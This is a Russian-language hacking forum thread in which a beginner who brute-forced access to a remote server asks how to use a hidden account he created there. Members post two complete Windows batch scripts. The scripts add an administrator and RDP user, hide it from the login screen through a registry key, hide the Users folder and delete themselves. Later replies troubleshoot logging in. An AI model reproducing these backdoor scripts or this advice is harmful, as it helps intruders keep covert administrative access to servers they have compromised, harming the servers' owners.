Скрытая учетка

Тема в разделе "Флудилка", создана пользователем BullStray, 14 окт 2017.

  1. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    Привет, хотел задать вопрос. Сбрутил дедик ( я в этом новичёк), зашел под него. У меня уже был готов batник на создание скрытой учетки с settlogin, settpass и прочим.
    Перекинул на дедик, запустил, всё прошло успешно. И что дальше? Как войти под эту учетку или под неё не надо входить и можно уже брутить с этого дедика? Знающие не кидайтесь помидорами, а просто помогите несмышлёному новичку. Спасибо!
  2. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
    Заходишь вписывая свои новые данные - логин+пароль, затем ищешь свою учетку(папку) и скрываешь её. всё.
    И не оставляй ничего на рабочем столе
  3. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    Смотри, я батник запустил, всё ВРОДЕ как создалось, а под эту учетку я зайти не могу, мол "Недопустимые учетные данные", и саму папку найти с админа не могу, я понимаю что я похоже на столько туп и заблудился в 2 берёзах, но что мне делать то? :D
  4. CYBER GHETTO

    CYBER GHETTO

    Сообщения:
    653
    Баллы:
    18
    Когда со своего компуктера ты вводишь имя пользователя, то уже надо вводить не брученные, а созданные данные
  5. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
  6. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
  7. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    @ echo off
    set login=LOGIN
    set pass=PASSWORD

    net user %login% %pass% /add
    net localgroup Administrators %login% /add
    net localgroup "Remote Desktop Users" %login% /add
    net accounts /maxpwage:unlimited
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %login% /t REG_DWORD /d "00000000" /f
    attrib +H C:\Users /S /D
    echo
    Timeout /t 15
    del %0
    exit

    Вот такой.
  8. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
    Set AdmGroupSID=S-1-5-32-544
    Set AdmGroup=
    For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%AdmGroupSID%'" Get Name /Value ^| Find "="`) Do Set AdmGroup=%%J
    Set AdmGroup=%AdmGroup:~0,-1%
    net user login pass /add
    net localgroup %AdmGroup% login /add
    Set RDPGroupSID=S-1-5-32-555
    Set RDPGroup=
    For /F "UseBackQ Tokens=1* Delims==" %%I In (`WMIC Group Where "SID = '%RDPGroupSID%'" Get Name /Value ^| Find "="`) Do Set RDPGroup=%%J
    Set RDPGroup=%RDPGroup:~0,-1%
    net localgroup "%RDPGroup%" login /add
    net accounts /maxpwage:unlimited
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v login /t REG_DWORD /d 0 /f
    del %0
  9. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
    Попробуй этот. Login и pass замени на свои.
  10. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    net localgroup "%RDPGroup%" login /add
    Сюда тоже логин писать?
  11. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
    Да, везде(!) где я написал "login" удали это слово и вставь вместо него свое. Вписывай его при авторизации на деде
  12. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    http://file:///C:/Users/Admin/Desktop/Capture.PNG
    Учётки нету, батник запустил, он завершился и удалился. Под учетку зайти не могу :(
  13. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
    От имени администратора запустил?
  14. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    Nope, сейчас попробую.
  15. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    Ничего не изменилось.(
  16. Theseus

    Theseus

    Сообщения:
    67
    Баллы:
    6
  17. BullStray

    BullStray

    Сообщения:
    92
    Баллы:
    6
    Да, но теперь дедик вообще на работает :D
    Благодарю за помощь, видать моя тупость мешает мне всё это сделать нормально.
  18. lolpw

    lolpw

    Сообщения:
    40
    Баллы:
    6
    Знаю две возможных причины, почему не заходило:
    1. Если на дедик кто-то поставил криптор, то в папке юзерс мог зашифроваться файл отвечающий за учетки, за этого винда не смогла добавить новую учётку
    2. Если учетка под которой вы заходили работает в домене (названиедомена/логин) и вы пытаетесь залогиниться под учёткой которой просто напросто нет в данном домене(не создана на сервере актив директори), а создалась именно на той винде внутренняя учётка
    Тогда нужно логиниться не используя домен
    .\логин

Поделиться этой страницей

Top